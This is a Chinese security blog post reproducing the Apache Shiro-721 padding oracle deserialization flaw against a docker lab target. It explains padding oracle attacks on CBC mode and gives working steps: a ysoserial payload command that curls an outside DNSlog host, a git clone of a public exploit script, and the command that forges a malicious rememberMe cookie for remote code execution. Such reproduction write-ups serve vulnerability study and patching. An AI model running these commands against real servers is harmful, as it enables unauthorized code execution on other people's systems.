Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现

admin 2022年6月25日18:16:24安全文章评论43 views2800字阅读9分20秒阅读模式
Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现
点击上方“蓝字”,发现更多精彩。

0x00 漏洞描述

在用户进行登录的时候,Apache Shiro 提供 RemenberMe 功能,可以存储 cookie,期间使用的是AES-128-CBC进行加密,可以通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的 rememberMe 字段,重新请求网站,进行反序列化攻击,最终导致任意代码的执行,攻击者无需知道 rememberMe 的加密密钥。

Padding Oracle

Padding的含义是“填充”,在解密时,如果算法发现解密后得到的结果,它的填充方式不符合规则,那么表示输入数据有问题,对于解密的类库来说,往往便会抛出一个异常,提示Padding不正确。Oracle在这里便是“提示”的意思。
加/解密时的填充(Padding),明文信息可以是任意长度,但是块状加密算法需要所有的信息都由一定数量的数据块组成。为了满足这样的需求,便需要对明文进行填充,这样便可以将它分割为完整的数据块。

CBC

这是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这样可以强化加密算法的"敏感性",即实现所谓的"雪崩效应",在香浓理论中这就是"扰乱原则"。

Padding Oracle Attack(填充提示攻击)

如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示,不断修正,最终得到的所需要的结果。只根据我们输入的初始向量值和服务器的状态去判断出解密后明文的值,padding oracle attack 就是通过验证解密时产生的明文是否符合 padding 的原则,来判断解密是否成功的。这里的攻击即叫做 Padding Oracle Attack 攻击。
利用 Padding Oracle 能够在不知道密钥的情况下,解密任意密文,或者构造出任意明文的合法密文。
需要注意的是,padding oracle 针对的是CBC模式,而不是某一个加密算法,所以任何分组加密算法,只要使用了CBC模式,都会受到影响。此类加密算法包括AES、DES、3-DES 等等
该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解。


该漏洞存在条件如下:

攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性。


0x01 影响版本

Apache Shiro <= 1.2.4


0x02 漏洞分析

rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击,就像Shiro-550漏洞一样。
Shiro-721 处理 Cookie 的流程是:获取 rememberMe的 的值 => Base64 解码 => AES-128-CBC 解密 => 反序列化


0x03 漏洞环境

Centos 7

利用docker拉取在线靶场环境,执行如下命令:

docker pull vulfocus/shiro-cve_2016_4437docker psdocker run -itd -p 8080:8080 vulfocus/shiro-cve_2016_4437

服务启动后,访问:http://your-ip:8080


0x03 漏洞复现

1.登录Shiro测试账户获取合法Cookie(勾选Remember Me)

Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现

认证的两种情况:

①认证失败时(输入错误的用户名和密码),http响应页面中会显示出deleteMe的cookie。

②认证成功(输入正确的用户名和密码登录),http响应页面中不会显示deleteMe的cookie。


2.登录成功后,访问

http://your-ip:8080/account/

通过burp对其进行抓包,得到Cookie中的rememberMe值

Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现


3.使用Java反序列化工具ysoserial生成 Payload:

java -jar ysoserial.jar CommonsCollections1 'curl xxxdnlog.cn' > payload.class


4.通过git对其padding oracle attack poc进行下载

git clone  https://github.com/wuppp/shiro_rce_exp.git


5.通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

注意:此exp爆破时间较长,建议使用ysoserial生成较短的payload 验证(如:ping、touch/tmp/test等),约1个多小时可生成正确的rememberme cookie,生成成功后将自动停止运行。

cp payload.class  shiro_rce_exp/cd shiro_rce_exp/python shiro_exp.py http://192.168.1.14:8080/account/  HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdgEKZZ9XbbimYH8S7+Xsv0uzx8PH0OuIiFX3HAofmx5y4cvRpYove0NU+/QaRwZV2LoWtAi0adC/vCHb1H2ochg5LBel6jEQakIP3AmYkEOqfRTRl/sm1olkPM+sFk6+lGw9UtDvWqCCqK5fopXV+0n4qCJlyoNyWdVEmm+mZbxekimV3QDdlC75kuyv9Utw9VtOGMdeyBttl8YrXJCJEFEdIN22LxA//iqnyGjltUEljFrZhTXXhml/V8oPVnXFOAmygIaFD6uv9rWnTtPBlLOblusyElga20ngvoMOVKTu3uYHV0Hmiw/gcnT1yT0ZosI2/fe+dzmbVNyGrwKktYjEobCZIIz/U4intWvQ77   payload.class


6.使用Evil Rememberme cookie 认证进行反序列化攻击

复制生成成功的cookie,然后重放一下数据,即可成功执行命令


0x04 漏洞修复

  1. 官网补丁。

  2. 更新版本。



内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。



我知道你在看
Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现


原文始发于微信公众号(米瑞尔信息安全):Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月25日18:16:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现 http://cn-sec.com/archives/1143808.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: